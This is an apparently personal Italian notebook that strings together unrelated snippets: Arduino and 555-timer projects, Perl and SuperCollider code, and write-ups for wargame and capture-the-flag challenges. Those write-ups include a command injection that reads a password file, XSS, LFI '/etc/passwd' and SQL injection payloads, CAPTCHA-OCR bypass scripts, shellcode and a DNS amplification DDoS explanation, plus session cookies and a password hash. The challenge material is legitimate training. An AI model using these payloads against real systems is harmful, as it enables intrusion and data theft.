1 OPAMP UA741
2 Resistor 1MΩ
1 Resistor 2k2
1 NPN Transistor 2N2222A
1 47n Capacitor

------------------------------



C1 Ceramic Capacitor capacitance 10nF;
J1 Piezo Speaker;
R1 Rotary Potentiometer resistance 10kΩ;
R2 Resistor resistance 100Ω;
R3 Resistor resistance 470Ω;
R4 Resistor resistance 1kΩ;
U1 555 Timer package DIP8
VCC1 Battery & Connector voltage 9V



























#include <IRremote.h>

#define POWER         0xE0E040BF
#define UNO           0xE0E0906F
#define TVKEY         0xE0E0D827
#define ZERO          0xE0E08877  
#define CHPIU         0xE0E048B7
#define CHMENO        0xE0E008F7
#define SAMSUNG_BITS  32

IRsend irsend;

void setup()
{
  pinMode (3, OUTPUT);  //output as used in library
}

void loop() {
  

irsend.sendSAMSUNG(REPEAT, 32); // Some receivers seem to respond a lot faster when a repeat is sent before the actual command.
delay(35); //This delay is needed for optimal response.
irsend.sendSAMSUNG(ZERO, 32); // hex value, 32 bits
delayMicroseconds(50);

}

 
http://lirc.sourceforge.net/remotes/samsung/BN59-00940A 












2 Timer 555
1 Condesatore ceramico 0.1 uF
1 Condesatore ceramico 0.01 uF
1 Condesantore elettrolitico 100 uF
1 Resistenza 1K Ohm




Arduino;
TvOut;
Speaker;




Arduino;
Arduino-TVout library; invece della resistenza 470 Ohm ne ho usata una da 330 Ohm





1 CMOS Hex Schmitt Trigger CD40106BE;
3 fotoresistori;
3 Condensatori 1 uF;
3 diodi 1N914;


Il Trigger di Schmitt è usato talvolta per realizzare un semplice tipo di oscillatore a rilassamento o di multivibratore. Si ottiene collegando ad una porta invertente una semplice rete RC, il condensatore si connette tra l'ingresso e la massa e il resistore tra l'ingresso e l'uscita. L'uscita sarà un'onda quadra continua la cui frequenza dipende dal valore di R e di C, e dai valori di soglia del Trigger medesimo. Poiché i circuiti di Trigger di Schmitt possono essere provveduti da un singolo circuito integrato (p.es., la serie 4000 dei dispositivi CMOS tipo 40106 ne contengono 6), una sezione libera del circuito integrato può venire utilizzata come semplice ed affidabile oscillatore con due soli componenti esterni. Si deve tuttavia rendere evidente che la stabilità di frequenza non è molto elevata.



1 CMOS Hex Schmitt Trigger CD40106BE
1 fotoresistore
1 Condensatore 1 uF

Schmitt Trigger Oscillator
Spiegazione
Talking Electronics







#include <IRremote.h>

int RECV_PIN = 7;
int LED = 13;
int speakerPin = 3;


IRrecv irrecv(RECV_PIN);

decode_results results;

void setup()
{
  Serial.begin(9600);
  irrecv.enableIRIn(); // Start the receiver
  pinMode(LED, OUTPUT);
}

void loop() {
  if (irrecv.decode(&results)) {
    Serial.println(results.value, HEX);
    tone(speakerPin,1000,300);
   
    switch(results.value)

  {

  case 0xC0B92:
    Serial.println("fanculo");
    break;

  case 0xFF629D:
    Serial.println(" CH             ");
    break;
  }
    digitalWrite(LED, HIGH);
    delay(100);
    digitalWrite(LED, LOW);
    delay(100);
   
    irrecv.resume(); // Receive the next value
  }
}
























































int LEDGreen=9;
int LEDBlue=10;
int LEDRed=11;


int sensorPin=0;
int val;

void setup(){
  Serial.begin(9600);
  pinMode(LEDRed,OUTPUT);
  pinMode(LEDGreen,OUTPUT);
  pinMode(LEDBlue,OUTPUT);
}

void loop(){

  val=map(analogRead(sensorPin),0,1024,0,900);
  Serial.println(val);
  if (val<150) {
    analogWrite(LEDRed,0);
    analogWrite(LEDBlue,255);
    analogWrite(LEDGreen,255);
  } else if (val<300) {
    analogWrite(LEDRed,map(val,150,300,0,255));
    analogWrite(LEDBlue,map(val,150,300,255,0));
    analogWrite(LEDGreen,255);
  } else if (val<450) {
    analogWrite(LEDRed,255);
    analogWrite(LEDBlue,0);
    analogWrite(LEDGreen,255);
  } else if (val<600) {
    analogWrite(LEDRed,255);
    analogWrite(LEDBlue,map(val,450,600,0,255));
    analogWrite(LEDGreen,map(val,450,600,255,0));
  } else if (val<750) {
    analogWrite(LEDRed,255);
    analogWrite(LEDBlue,255);
    analogWrite(LEDGreen,0);
  } else if (val<900) {
    analogWrite(LEDRed,map(val,750,900,255,0));
    analogWrite(LEDBlue,255);
    analogWrite(LEDGreen,map(val,750,900,0,255));
  }
  delay(10);
}





int speakerPin = 9;

int length = 15; // the number of notes
char notes[] = "ccggaagffeeddc "; // a space represents a rest
int beats[] = { 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 2, 4 };
int tempo = 300;

void playTone(int tone, int duration) {
  for (long i = 0; i &lt; duration * 1000L; i += tone * 2) {
    digitalWrite(speakerPin, HIGH);
    delayMicroseconds(tone);
    digitalWrite(speakerPin, LOW);
    delayMicroseconds(tone);
  }
}

void playNote(char note, int duration) {
  char names[] = { 'c', 'd', 'e', 'f', 'g', 'a', 'b', 'C' };
  int tones[] = { 1915, 1700, 1519, 1432, 1275, 1136, 1014, 956 };

  // play the tone corresponding to the note name
  for (int i = 0; i &lt; 8; i++) {
    if (names[i] == note) {
      playTone(tones[i], duration);
    }
  }
}

void setup() {
  pinMode(speakerPin, OUTPUT);
}

void loop() {
  for (int i = 0; i &lt; length; i++) {
    if (notes[i] == ' ') {
      delay(beats[i] * tempo); // rest
    } else {
      playNote(notes[i], beats[i] * tempo);
    }

    // pause between notes
    delay(tempo / 2);
  }
}





Il DNS (domain name system) ha una struttura ad albero ed è composto da diversi server delegati gerarchicamente a cui vengono assegnate diverse zone. I server possono essere autoritativi per una o più zone (primari e secondari), forwarder e ricorsivi. Questi ultimi sono chiamati così poiché utilizzano la ricorsione, ovvero il processo attraverso il quale un server di questo tipo, al momento della ricezione della richiesta di risoluzione di un nome, ripercorre le catene di deleghe partendo dalla zona radice;da qui, ottenendo il server di primo livello che lo gestisce, lo interroga; ricorsivamente interroga il server nel dominio di secondo livello ottenuto, fino alla risoluzione del nome desiderato. (FIGURA 1) Idealmente un server DNS (name server) ricorsivo dovrebbe accettare richieste (DNS query) solo da client autorizzati o locali, ma ciò nella stragrande maggioranza dei casi non accade, permettendo la loro interrogazione a qualsiasi client. Questi server vengono definiti “Open resolver” e nell’ambito della ShmooCon (2006) conference, Dan Kaminsky e Mike Schiffman ne hanno resi pubblici circa 580.000 dislocati su tutta la rete internet.

Per proseguire nell’esempio è necessario ricordare che:

L'User Datagram Protocol (UDP) è un protocollo di comunicazione utilizzato su internet, basato sull’invio e la ricezione di pacchetti.
Le Request for Comments (RFC), sono una raccolta contenente, standard di protocollo utilizzati su internet, rapporti e proposte.
In primo luogo bisogna definire l’EDNS (Extension Mecchanism for DNS - RFC 2671) come un’estensione del protocollo DNS la cui utilità è quella di permettere di specificare le dimensioni dei pacchetti UDP. In base alla RFC 1035 il limite di dimensione dei pacchetti UDP è 512 byte, ma sorge a volte la necessità di sforare questo limite avendo così la possibilità di trasferire pacchetti più grandi. A tale scopo, è necessario che al server DNS giunga una richiesta(query) al cui interno è contenuto un record OPT, dal quale il server estrapola informazioni sul livello di trasporto UDP, fra cui le dimensioni massime che ogni pacchetto può possedere e, ottimizzando lo spazio, modifica la risposta facendo in modo che essa contenga quanti più record di risorsa possibile. È importante specificare che si definisce un record OPT uno pseudo record poiché non contiene veri e propri dati DNS, bensì informazioni sul livello di comunicazione UDP.

Lo studio di questo attacco ha portato la consapevolezza che per la sua completa riuscita è necessario soddisfare due fondamentali precondizioni:

Un nome di dominio valido con record di risorsa di tipo SOA e TXT che supporti EDNS Una query personalizzata al cui interno sia contenuto l’indirizzo Ip della vittima a cui sarà successivamente destinata la risposta. Questa tecnica prende il nome di IP spoofing. Il primo punto sta alla base del meccanismo di amplificazione, il secondo si riferisce invece alla rifrazione dell’attacco. Il concetto di amplificazione ha base sul fatto che query (richieste) molto piccole possono generare risposte molto più grandi, ad esempio una query UDP di 60 byte può generare una risposta di 512, cioè 8.5 volte più grande della richiesta. Chiameremo l’amplificazione della risposta “fattore di amplificazione”. La rifrazione invece consiste nell’ip-spoofing che è il meccanismo attraverso il quale si dirotta la risposta verso un’altra destinazione prestabilita. Chi sferra quest’attacco solitamente si avvale di una rete di computer dislocati sulla rete internet (ad esempio una Botnet) utilizzata inconsapevolmente allo scopo d’inviare una moltitudine di richieste a diversi server DNS open resolver. Questo primo aspetto dell’amplificazione viene successivamente potenziato per mezzo di diverse query, precostruite manualmente, atte ad interrogare i diversi record di risorsa dei domini sfruttati. Ad esempio, s’ipotizzi di mandare una richiesta con indirizzo di risposta falsificato(spoofed query) ad un server DNS “open resolver” che attraverso lo pseudo-record OPT e sfruttando EDNS, specifichi dimensioni molto più grandi dei pacchetti UDP in risposta, ad esempio 4000 byte. Dal punto di vista dell’amplificazione si nota subito che la stessa query di 60 byte può amplificare la sua risposta fino a 4000 byte con un fattore di amplificazione pari a 66.7. Tale fattore è ulteriormente incrementabile attraverso la combinazione delle diverse risposte ottenute dall’interrogazione di record SOA, di TIPO A e TXT e in caso di frammentazione, cioè se sforando l’MTU(Maximum Transmission Unit= Massima unità trasmettibile) di un qualsiasi router che collega i server DNS “attaccanti” al bersaglio, i pacchetti vengono ridimensionati incrementandone il numero a discapito del bersaglio. Un’ultima precisazione: le operazioni che permettono l’attacco sopracitato si basano su abusi (come l’utilizzo improprio di EDNS) e vulnerabilità (come l’ip spoofing) del servizio DNS i cui server partecipano involontariamente all’attacco.
































Parrot --> Informationg Gathering --> OSINT Analysis

creepy.pl per la geolocalizzazione degli account twitter e flickr, ma non riesco a ottenere il pin di autenticazione di twitter.

---

dmitry -winsepffb -o hosts.txt bzakirasantjago.blogspot.it
estrae informazioni dal whois, da google, da altavista, informazioni sulle email e sulle porte chiuse e aperte;

---

metagoofil -d kali.org -t pdf -l 100 -n 25 -o kalipdf -f kalipdf.html

Scan for documents from a domain (-d kali.org) that are PDF files (-t pdf), searching 100 results (-l 100), download 25 files (-n 25), saving the downloads to a directory (-o kalipdf), and saving the output to a file (-f kalipdf.html)

---

SpiderFoot è uno spiderone che va in giro per la rete a raccogliere informazioni sul target scelto; esiste la versione browser (server) e la gui che si appoggia sul server

---

theharvester -d microsoft.com -l 500 -b google
cerca microsoft.com su google limitando i risultati a 500; viene utilizzato anche per fare reverse query al DNS, bruteforce DNS per un domain name, altre operazione sul DNS relativa al domain

---

URLCrazy is a tool that can generate and test domain typos and variations to detect and perform typo squatting, URL hijacking, phishing, and corporate espionage.

root@VH0:~# urlcrazy  google.com

Character Omission            goole.com      213.165.70.39    DE,GERMANY        mx00.1and1.co.uk                   com
Character Repeat              ggoogle.com    74.125.128.99    US,UNITED STATES                                     com




download the flash password.swf

flasm password.swf

pluma password.flm




















3115 3511434352344214 154344 3211424224113315

le password est marriane




















Description
Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.


This attack differs from Code Injection, in that code injection allows the attacker to add his own code that is then executed by the application. In Code Injection, the attacker extends the default functionality of the application without the necessity of executing system commands.

level01@wargame:/tmp$ cat /home/level01/bin01.c
#include <stdio.h>
#include <string.h>

int main(int argc, char ** argv)
{
        char cmd[256]= "/bin/ls -la ";
        if(argc!=2)
        {
                printf("Usage : %s <nom de dossier>\n",argv[0]);
                return 1;
        }
        if(strlen(argv[1])<9)
        {
                strcat(cmd, argv[1]);
                system(cmd);
        }
        else
        {
                printf("Pour des raisons de sécurité, le dossier que vous souhaitez lister ne doit pas comporter plus de 8 caractères.\n");
        }
        return 0;

}

tmp scrivibile

cd /tmp/
ln -s /home/level01/.password a

home/level01/bin01 ';cat a'

XSS



esempio di vulnerabilità XSS in una url con parametro :


http://www.newbiecontest.org/epreuves/hacking/verifhk5.php?url=%3Cscript%3Ealert(%27hello%20world%27);%20%3C/script%3E%22


"url=<script>alert('hello world'); </script>"


























$cat exit_shellcode.asm

Section         .text
global _start

_start:
mov ebx,0
mov eax,1
int 0x80

nasm -f elf exit_shellcode.asm
ld -m elf_i386 -o exit_shellcode exit_shellcode.o


objdump -d exit_shellcode

exit_shellcode:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
8048060: bb 00 00 00 00       mov    $0x0,%ebx
8048065: b8 01 00 00 00       mov    $0x1,%eax
804806a: cd 80                 int    $0x80

per togliere i bytes null 00, si usa l'istruzione xor ebx,ebx per la prima istruzione, e il registro al per la seconda

xor ebx,ebx
mov al,1

$cat wack.c 

char shellcode[] = "\xbb\x00\x00\x00\x00"
"\xb8\x01\x00\x00\x00"
"\xcd\x80";
int main()
{
int *ret;
ret = (int *)&ret +2;
(*ret) = (int)shellcode;
}

gcc -m32 -fno-stack-protector -z execstack -o wack wack.c 
strace ./wack


















curl -u b:4 -c cookietxt.txt "http://canyouhack.it/Forum/index.php?action=login2"
curl -s -b ./cookietxt.txt "http://canyouhack.it/Content/Challenges/Captcha/Captcha1.php" > bzocr.png
tesseract ./bzocr.png ./bzocr.txt
cat ./bzocr.txt.txt | tr -d '\n' > bzocr2.txt
pippo=`cat ./bzocr2.txt`
curl -s -b ./cookietxt.txt "http://canyouhack.it/Content/Challenges/Captcha/Captcha1.php?text=$pippo" > result.png


curl -s -b ./cookietxt.txt http://canyouhack.it/Content/Challenges/Captcha/Captcha2.php > bzocr3.png 
convert -auto-orient ./bzocr3.png ./bzocr3r.png
tesseract -psm 8 ./bzocr3r.png ./bzocr3.txt
cat ./bzocr3.txt.txt | tr -d '\n' > bzocr4.txt
pippo=`cat ./bzocr4.txt`
curl -s -b ./cookietxt.txt "http://canyouhack.it/Content/Challenges/Captcha/Captcha2.php?text=$pippo" > result4.png
cp ./bzocr3r.png ~/Desktop
cp ./result4.png ~/Desktop






















CanYouHack.it
Programming 1

#!/usr/local/bin/perl -w
# irc.pl
# A simple IRC robot.
# Usage: perl irc.pl

use strict;
use warnings;
use v5.14.2;

# We will use a raw socket to connect to the IRC server.
use IO::Socket;

# The server to connect to and our details.
my $server = "irc.idlemonkeys.net";
my $nick = "bz";
my $login = "bz";

# The channel which the bot will join.
my $channel = "#canyouhack.it";

# Connect to the IRC server.
my $sock = new IO::Socket::INET(PeerAddr => $server,
                                PeerPort => 6667,
                                Proto => 'tcp') or
                                    die "Can't connect\n";

# Log on to the server.
print $sock "NICK $nick\r\n";
print $sock "USER $login 8 * :Perl IRC Hacks Robot\r\n";

# Read lines from the server until it tells us we have connected.
while (my $input = <$sock>) {
    # Check the numerical responses from the server.
    if ($input =~ /004/) {
        # We are now logged in.
        last;
    }
    elsif ($input =~ /433/) {
        die "Nickname is already in use.";
    }
}

# Join the channel.
print "**********************\n";
print $sock "PRIVMSG [CYH]Bot !C1\r\n";

# Keep reading lines from the server.
while (my $input = <$sock>) {
    chop $input;
    if ($input =~ /^PING(.*)$/i) {
        # We must respond to PINGs to avoid being disconnected.
        print $sock "PONG $1\r\n";
    }
    else {
        # Print the raw line received by the bot.
        print "*\n";
        print "$input\n";
        if ($input =~ /PRIVMSG/) {
            my @all_nums;
            say $input; 
            @all_nums = $input =~ /(\d+)/g; 
            #print $out;
            if ($all_nums[3]) {
            print $sock "PRIVMSG [CYH]Bot !A1 $all_nums[3]\n\r";
        }

            }

    }
    #print "input\n";
}


The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.

This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:

Code execution on the web server
Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)
Denial of Service (DoS)
Sensitive Information Disclosure

Local File Inclusion (also known as LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.

Consider the following example:

http://vulnerable_host/preview.php?file=example.html

This looks as a perfect place to try for LFI. If an attacker is lucky enough, and instead of selecting the appropriate page from the array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server.

Typical proof-of-concept would be to load passwd file:

http://vulnerable_host/preview.php?file=../../../../etc/passwd


PHP Warning(2): require_once(solution.php.php): failed to open stream: No such file or directory 

www.wechall.net/challenge/php0817/index.php?which=solution



























vote_for=bill` = `bill` %2b 111 where bill=0 --%20
UPDATE noescvotes SET `bill` = `bill` + 111 where bill=0 --

per vedere la sintassi bisogna far andare in errore l'applicazione inserendo input inaspettato nella url;






















#!/usr/bin/perl

use strict;
use warnings;
use v5.14.2;
use LWP::UserAgent;
use HTTP::Cookies;
use CGI;
use WWW::Mechanize;
use HTML::TokeParser;
use HTML::TreeBuilder;
use File::Temp;
use URI::file;
use WWW::Mechanize::TreeBuilder;
use HTML::Parser;
use HTML::TagParser;
use Math::Round;
use POSIX qw/floor/;


my $browser = LWP::UserAgent->new;
$browser->default_header('cookie','WC=8435090-12918-Zru0JIKhb4ohrqvO');

my $req = HTTP::Request->new(GET => 'http://www.wechall.net/challenge/training/programming1/index.php?action=request');
my $res = $browser->request($req);

print $res->content;
my $risultato=$res->content;


my $browser2 = LWP::UserAgent->new;
$browser2->default_header('cookie','WC=8435090-12918-Zru0JIKhb4ohrqvO');

my $req2 = HTTP::Request->new(GET => 'http://www.wechall.net/challenge/training/programming1/index.php?answer='.$risultato);
my $res2 = $browser2->request($req2);

print $res2->content;



























copiare gli sc di supercolliderenoise.tgz in /usr/share/SuperCollider/SCClassLibrary/Common/Renoise/
tutti tranne ResponseDefs.sc che va in  /usr/share/SuperCollider/SCClassLibrary/Common/Control/


// declare an event type which sends OSC commands to Renoise

(
Event.addEventType(\renoise, { |server|
  var renoiseOscServer = NetAddr("127.0.0.1", 8000);
  var notes = [~midinote.value, ~ctranspose.value, ~velocity.value, ~sustain.value, ~lag.value, ~timingOffset.value, ~instr.value, ~track.value].flop;
  var timeNoteOn, timeNoteOff, instrument, track, velocity;
  var serverLatency;

  serverLatency = server.latency ? 0;

  notes.do {|note|
    instrument = note[6] ? -1;
    track = note[7] ? -1;
    velocity = note[2].asInt.clip(0,127);

    // sustain and timingOffset are in beats, lag is in seconds
    timeNoteOn = (thisThread.clock.tempo.reciprocal*note[5])+note[4]+server.latency;
    timeNoteOff = (thisThread.clock.tempo.reciprocal*(note[3]+note[5]))+note[4]+server.latency;
    SystemClock.sched(timeNoteOn, {renoiseOscServer.sendMsg("/renoise/trigger/note_on", instrument.asInt, track.asInt, (note[0]+note[1]).asInt, velocity )});
    SystemClock.sched(timeNoteOff, {renoiseOscServer.sendMsg("/renoise/trigger/note_off", instrument.asInt, track.asInt, (note[0]+note[1]).asInt)});
  }
});
)

// Now start Renoise OSC server, load a sample, and try some patterns

// straight timing
(
Pbind(*[
  type: \renoise,
  legato: Pgauss(0.2,0.05,inf),
  dur: 0.2,
  degree: [2,5,12],
  track: Prand([0,1], inf),
  ctranspose: Pseq([0,0,0,0,4,4,4,4,5,5,5,5],inf),
  velocity: Pgauss(64,10,inf),
]).play;
)

// loose timing
(
Pbind(*[
  type: \renoise,
  legato: 0.1,
  dur: 0.2,
  midinote: [66, 69, 74],
  lag: Pwhite(-0.05!3, 0.05)
]).play;
)


MIDIClient.init;
MIDIIn.connectAll;
r = Renoise();
r = Renoise("127.0.0.1", 8000);


(
SynthDef(\sound, { |out = 0, gate = 1, freq = 440, amp = 0.5|
    var sig, env;

    env = EnvGen.kr(Env.adsr(0.01, 0.9, 0.3, 1), gate, doneAction: 2);

    sig = Pulse.ar(freq) * amp * env;

    Out.ar(out, sig);
}).add
)

r.createSynthDefInstrument(\sound)

















#!/usr/bin/perl

use strict;
use warnings;
use v5.14.2;
use LWP::UserAgent;
use HTTP::Cookies;
use CGI;
use WWW::Mechanize;
use HTML::TokeParser;
use HTML::TreeBuilder;
use File::Temp;
use URI::file;
use WWW::Mechanize::TreeBuilder;
use HTML::Parser;
use HTML::TagParser;
use Math::Round;
use POSIX qw/floor/;


my $browser = LWP::UserAgent->new;
$browser->default_header('cookie','fusion_visited=yes; _ga=GA1.2.295753280.1415196559; PHPSESSID=09bc1dd98752875f4d0ba54dcf921997; _gat=1; fusion_user=17026.140eeff22ac6169bbf2bc84f64b8b218; fusion_lastvisit=1419003317');

my $req = HTTP::Request->new(GET => 'http://securityoverride.org/challenges/programming/4/index.php');
my $res = $browser->request($req);

# write the data to disk
my $fh = File::Temp->new;
print $fh $res->content;
$fh->close;

my $parser = HTML::TagParser->new($fh->filename);
my @list = $parser->getElementsByTagName('code');

my $word = '';
my $text = '';

foreach my $elem ( @list ) {
my $tagname = $elem->tagName;
    my $attr = $elem->attributes;
    $text = $elem->innerText;
    $word = $text;
    #say $text;
}

say $text;
say $text*sqrt(5);

my $risultato =  floor($text*sqrt(5));
say $risultato;


#my @treparole = split(',', $text);
#@treparole = sort @treparole;

#say $stringarimanente;
#my $stringainversa = scalar reverse $stringarimanente;
#say $stringainversa;
#my $stringarisultato = $firstchar.$stringainversa;
#say $stringarisultato;


my $url = 'http://securityoverride.org/challenges/programming/4/index.php';
my $parameter = ([ 'string' => $risultato, 'submitbutton' => '12 seconds to Submit', 'CSRF_TOKEN' => "<?php echo \$_SESSION[\'CSRF_TOKEN\'];?>" ]);
my $response = $browser->post($url, $parameter);
#say $response->content;

##################################################################################################

#!/usr/bin/perl

use strict;
use warnings;
use v5.14.2;
use LWP::UserAgent;
use HTTP::Cookies;
use CGI;
use WWW::Mechanize;
use HTML::TokeParser;
use HTML::TreeBuilder;
use File::Temp;
use URI::file;
use WWW::Mechanize::TreeBuilder;
use HTML::Parser;
use HTML::TagParser;
use Math::Round;
use POSIX qw/floor/;


my $browser = LWP::UserAgent->new;
$browser->default_header('cookie','fusion_visited=yes; _ga=GA1.2.295753280.1415196559; PHPSESSID=09bc1dd98752875f4d0ba54dcf921997; _gat=1; fusion_user=17026.140eeff22ac6169bbf2bc84f64b8b218; fusion_lastvisit=1419003317');

my $req = HTTP::Request->new(GET => 'http://securityoverride.org/challenges/programming/5/index.php');
my $res = $browser->request($req);

# write the data to disk
my $fh = File::Temp->new;
print $fh $res->content;
$fh->close;

my $parser = HTML::TagParser->new($fh->filename);
my @list = $parser->getElementsByTagName('code');

my $word = '';
my $text = '';

foreach my $elem ( @list ) {
my $tagname = $elem->tagName;
    my $attr = $elem->attributes;
    $text = $elem->innerText;
    $word = $text;
    #say $text;
}

say $text;

my @chars = split("", $text);
my $i=0;
my $j=0;
my $k=1;
my %hash = ();
my @risultato = ();

for ($i=0; $i<250; $i++) {
print $chars[$i];
if ((($i+1) % 50)==0) {
print "\n";
}
}

$i=0;


my $r=0;

for ($i=0; $i<250; $i++) {
#say $k;

if ($chars[$i] eq '@') {
say $chars[$i];
say $k;
say $j;
$hash{$k}.=$j;

$risultato[$r]=$k."-".$j.",";

$r++;

}
$j++;
if ((($i+1) % 50)==0) {
$j = 0;
$k++;
}


}

my $risultatofinale ='';

#foreach my $key (keys %hash) {
# $risultato .= $key."-".$hash{$key}.",";
#
#}

foreach my $indice (@risultato) {
$risultatofinale .= $indice;

}


my $size = length($risultatofinale);

my $risfinale = substr($risultatofinale,0, $size-1);

say $risfinale;

my $url = 'http://securityoverride.org/challenges/programming/5/index.php';
my $parameter = ([ 'string' => $risfinale, 'submitbutton' => '12 seconds to Submit', 'CSRF_TOKEN' => "<?php echo \$_SESSION[\'CSRF_TOKEN\'];?>" ]);
my $response = $browser->post($url, $parameter);
#say $response->content;



















#!/usr/bin/perl

use strict;
use warnings;
use v5.14.2;
use LWP::UserAgent;
use HTTP::Cookies;
use CGI;
use WWW::Mechanize;
use HTML::TokeParser;
use HTML::TreeBuilder;
use File::Temp;
use URI::file;
use WWW::Mechanize::TreeBuilder;
use HTML::Parser;
use HTML::TagParser;


my $browser = LWP::UserAgent->new;
$browser->default_header('cookie','fusion_visited=yes; _ga=GA1.2.295753280.1415196559; PHPSESSID=09bc1dd98752875f4d0ba54dcf921997; _gat=1; fusion_user=17026.140eeff22ac6169bbf2bc84f64b8b218; fusion_lastvisit=1419003317');

my $req = HTTP::Request->new(GET => 'http://securityoverride.org/challenges/programming/2/index.php');
my $res = $browser->request($req);

wwww# write the data to disk
my $fh = File::Temp->new;
print $fh $res->content;
$fh->close;

my $parser = HTML::TagParser->new($fh->filename);
my @list = $parser->getElementsByTagName('code');


my $word = '';
my $text = '';

foreach my $elem ( @list ) {
my $tagname = $elem->tagName;
    my $attr = $elem->attributes;
    $text = $elem->innerText;
    $word = $text;
    say $text;
}

say $text;

#my $firstchar = substr($text, 0, 1);
my $len = length($text);
#my $stringarimanente = substr($text, 1, $len);

#say $firstchar;
my $i = 0;
my $value = 0;

for ($i = 0; $i < $len; $i++) {
my $stringchar = substr($text, $i, $i+1);
say ord($stringchar);
$value = $value + ord($stringchar);
    }

say $value;
#say $stringarimanente;
#my $stringainversa = scalar reverse $stringarimanente;
#say $stringainversa;
#my $stringarisultato = $firstchar.$stringainversa;
#say $stringarisultato;


my $url = 'http://securityoverride.org/challenges/programming/2/index.php';
my $parameter = ([ 'string' => $value, 'submitbutton' => '12 seconds to Submit', 'CSRF_TOKEN' => "<?php echo \$_SESSION[\'CSRF_TOKEN\'];?>" ]);
my $response = $browser->post($url, $parameter);























































#!/usr/bin/perl



%data = ('John Paul', 45, 'Lisa', 30, 'Kumar', 40);



print "\$data{'John Paul'} = $data{'John Paul'}\n";

print "\$data{'Lisa'} = $data{'Lisa'}\n";

print "\$data{'Kumar'} = $data{'Kumar'}\n";

This will produce following result:

$data{'John Paul'} = 45

$data{'Lisa'} = 30

$data{'Kumar'} = 40



%data = ('John Paul', 45, 'Lisa', 30, 'Kumar', 40);

%data = ('John Paul' => 45, 'Lisa' => 30, 'Kumar' => 40);

%data = (-JohnPaul => 45, -Lisa => 30, -Kumar => 40);



#!/usr/bin/perl



%data = ('John Paul' => 45, 'Lisa' => 30, 'Kumar' => 40);



print "$data{'John Paul'}\n";

print "$data{'Lisa'}\n";

print "$data{'Kumar'}\n";

This will produce following result:

45

30

40



#!/uer/bin/perl



%data = (-JohnPaul => 45, -Lisa => 30, -Kumar => 40);



@array = @data{-JohnPaul, -Lisa};



print "Array : @array\n";

This will produce following result:

Array : 45 30





#!/usr/bin/perl



%data = ('John Paul' => 45, 'Lisa' => 30, 'Kumar' => 40);



@names = keys %data;



print "$names[0]\n";

print "$names[1]\n";

print "$names[2]\n";

This will produce following result:

Lisa

John Paul

Kumar

#!/usr/bin/perl
%data = ('John Paul' => 45, 'Lisa' => 30, 'Kumar' => 40);
if( exists($data{'Lisa'} ) ){
   print "Lisa is $data{'Lisa'} years old\n";
}
else{
   print "I don't know age of Lisa\n";
}
#!/usr/bin/perl
%data = ('John Paul' => 45, 'Lisa' => 30, 'Kumar' => 40);
@keys = keys %data;
$size = @keys;
print "1 - Hash size:  is $size\n";
@values = values %data;
$size = @values;
print "2 - Hash size:  is $size\n";
This will produce following result:
1 - Hash size: is 3
2 - Hash size: is 3
#!/usr/bin/perl
%data = ('John Paul' => 45, 'Lisa' => 30, 'Kumar' => 40);
@keys = keys %data;
$size = @keys;
print "1 - Hash size:  is $size\n";
# adding an element to the hash;
$data{'Ali'} = 55;
@keys = keys %data;
$size = @keys;
print "2 - Hash size:  is $size\n";
# delete the same element from the hash;
delete $data{'Ali'};
@keys = keys %data;
$size = @keys;
print "3 - Hash size:  is $size\n";
This will produce following result:
1 - Hash size: is 3
2 - Hash size: is 4
3 - Hash size: is 3












































Modulo Login.pm





login2.pl



#!/usr/bin/perl



use v5.14.2;

use warnings;

use strict;



use Test::Login;



my $user;



while (1) {

    print "Username: ";

    chomp($user = <>);

    print "Password: ";

    chomp(my $pass = <>);



    last if(Test::Login::check_password($user, $pass));



    # otherwise, we're stuck in the loop

    say "Sorry!";

  }



say "Congratulations $user!";



perl/Test/

Login.pm



package Test::Login;

$VERSION = v0.0.1;



use v5.14.2;

use warnings;

use strict;

use Carp;



use Digest::MD5 'md5_hex';



open(my $fh, '<', 'passwords') or die "cannot open passwords file $!";

my %passwords = map({chomp; split(/:/, $_, 2)} <$fh>);



sub check_password {

    my ($user, $pass) = @_;



    return(

      $passwords{$user} and

      md5_hex($pass) eq $passwords{$user}

    );

}



1;





passwords

bz:fcea920f7412b5da7be0cf42b8c93759




































;  hello.asm  a first program for nasm for Linux, Intel, gcc
;
; assemble: nasm -f elf -l hello.lst  hello.asm
; link: gcc -o hello  hello.o
; run:        hello
; output is: Hello World

SECTION .data ; data section
msg: db "Hello World",10 ; the string to print, 10=cr
len: equ $-msg ; "$" means "here"
; len is a value, not an address

SECTION .text ; code section
        global main ; make label available to linker
_start: ; standard  gcc  entry point

mov edx,len ; arg3, length of string to print
mov ecx,msg ; arg2, pointer to string
mov ebx,1 ; arg1, where to write, screen
mov eax,4 ; write command to int 80 hex
int 0x80 ; interrupt 80 hex, call kernel

mov ebx,0 ; exit code, 0=normal
mov eax,1 ; exit command to kernel
int 0x80 ; interrupt 80 hex, call kernel


nasm -g -f elf -F dwarf hello.asm
ld -m elf_i386 -o hello hello.o

per non far incartare il ddd, andare in .ddd
e modificare il file init :

set extended-prompt not set\n\  in
set prompt (gdb) \n\










































winedbg --gdb --no-start Easy_CrackMe.exe



0024:0025: create process 'Z:\home\bz\Downloads\Easy_CrackMe.exe'/0x1106e8 @0x401188 (0<0>)

0024:0025: create thread I @0x401188

target remote localhost:45181



ddd



(gdb) target remote localhost:45181



objdump -D -M intel ./Easy_CrackMe.exe > out.asm



break *0x004010b0





4010b0:       80 7c 24 05 61        cmp    BYTE PTR [esp+0x5],0x61   "a"

4010b5:       75 7e                        jne    0x401135





4010b9:       8d 4c 24 0a           lea    ecx,[esp+0xa]

